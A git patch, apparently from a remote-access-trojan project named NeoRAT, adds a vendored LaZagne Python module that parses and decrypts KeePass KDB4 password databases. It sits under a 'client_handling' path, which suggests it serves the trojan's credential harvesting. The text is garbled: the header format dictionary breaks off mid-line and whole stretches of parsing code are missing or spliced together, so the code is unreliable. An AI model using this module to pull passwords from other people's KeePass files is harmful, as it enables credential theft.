From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/memory/libkeepass/kdb4.py | 419 +++++++++++++++++++++ 1 file changed, 419 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py (limited to 'foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py') diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py new file mode 100644 index 0000000..b40760e --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py @@ -0,0 +1,419 @@ +# -*- coding: utf-8 -*- +import base64 +import gzip +import io +import xml.etree.ElementTree as ElementTree +import zlib +import codecs + +from .common import KDBFile, HeaderDictionary +from .common import stream_unpack +from .crypto import transform_key, pad, unpad +from .crypto import xor, sha256, aes_cbc_decrypt, aes_cbc_encrypt +from .hbio import HashedBlockIO +from .pureSalsa20 import Salsa20 + + +KDB4_SALSA20_IV = codecs.decode('e830094b97205d2a', 'hex') +KDB4_SIGNATURE = (0x9AA2D903, 0xB54BFB67) + +try: + file_types = (file, io.IOBase) +except NameError: + file_types = (io.IOBase,) + + +class KDB4Header(HeaderDictionary): + fields = { + 'EndOfHeader': 0, + 'Comment': 1, + # cipher used for the data stream after the header + 'CipherID': 2, + # indicates whether decrypted data stream is gzip compressed + 'CompressionFlags': 3, + # + 'MasterSeed': 4, + # + 'TransformSeed': 5, + # + 'TransformRounds': 6, + # + 'EncryptionIV': 7, + # key used to protect data in xml + 'ProtectedStreamKey': 8, + # first 32 bytes of the decrypted data stream after the header + 'StreamStartBytes': 9, + # cipher used to protect data in xml (ARC4 or Salsa20) + 'InnerRandomStreamID': 10, + } + + fmt = {3: '10 is undefined + if field_id not in self.header.fields.values(): + raise IOError('Unknown header field found.') + + # two byte (short) length of field data + length = stream_unpack(stream, None, 2, 'h') + if length > 0: + data = stream_unpack(stream, None, length, '{}s'.format(length)) + self.header.b[field_id] = data + + # set position in data stream of end of header + if field_id == 0: + self.header_length = stream.tell() + break + + # def _write_header(self, stream): + # """Serialize the header fields from self.header into a byte stream, prefix + # with file signature and version before writing header and out-buffer + # to `stream`. + + # Note, that `stream` is flushed, but not closed!""" + # # serialize header to stream + # header = bytearray() + # # write file signature + # header.extend(struct.pack(' len(self._salsa_buffer): + new_salsa = self.salsa.encrypt_bytes(str(bytearray(64))) + self._salsa_buffer.extend(new_salsa) + nacho = self._salsa_buffer[:length] + del self._salsa_buffer[:length] + return nacho + + def _unprotect(self, string): + """ + Base64 decode and XOR the given `string` with the next salsa. + Returns an unprotected string. + """ + tmp = base64.b64decode(string) + return str(xor(tmp, self._get_salsa(len(tmp)))) + + def _protect(self, string): + """ + XORs the given `string` with the next salsa and base64 encodes it. + Returns a protected string. + """ + tmp = str(xor(string, self._get_salsa(len(string)))) + return base64.b64encode(tmp) + + +class KDB4Reader(KDB4File, KDBXmlExtension): + """ + Usually you would want to use the `keepass.open` context manager to open a + file. It checks the file signature and creates a suitable reader-instance. + + doing it by hand is also possible:: + + kdb = keepass.KDB4Reader() + kdb.add_credentials(password='secret') + with open('passwords.kdb', 'rb') as fh: + kdb.read_from(fh) + + or...:: + + with open('passwords.kdb', 'rb') as fh: + kdb = keepass.KDB4Reader(fh, password='secret') + + """ + + def __init__(self, stream=None, **credentials): + KDB4File.__init__(self, stream, **credentials) + + def read_from(self, stream, unprotect=True): + KDB4File.read_from(self, stream) + # the extension requires parsed header and decrypted self.in_buffer, so + # initialize only here + KDBXmlExtension.__init__(self, unprotect) + + # def write_to(self, stream, use_etree=True): + # """ + # Write the KeePass database back to a KeePass2 compatible file. + + # :arg stream: A file-like object or IO buffer. + # :arg use_tree: Serialize the element tree to XML to save (default: + # True), Set to False to write the data currently in the in-buffer + # instead. + # """ + # if use_etree: + # KDBXmlExtension.write_to(self, stream) + # KDB4File.write_to(self, stream) -- cgit v1.2.3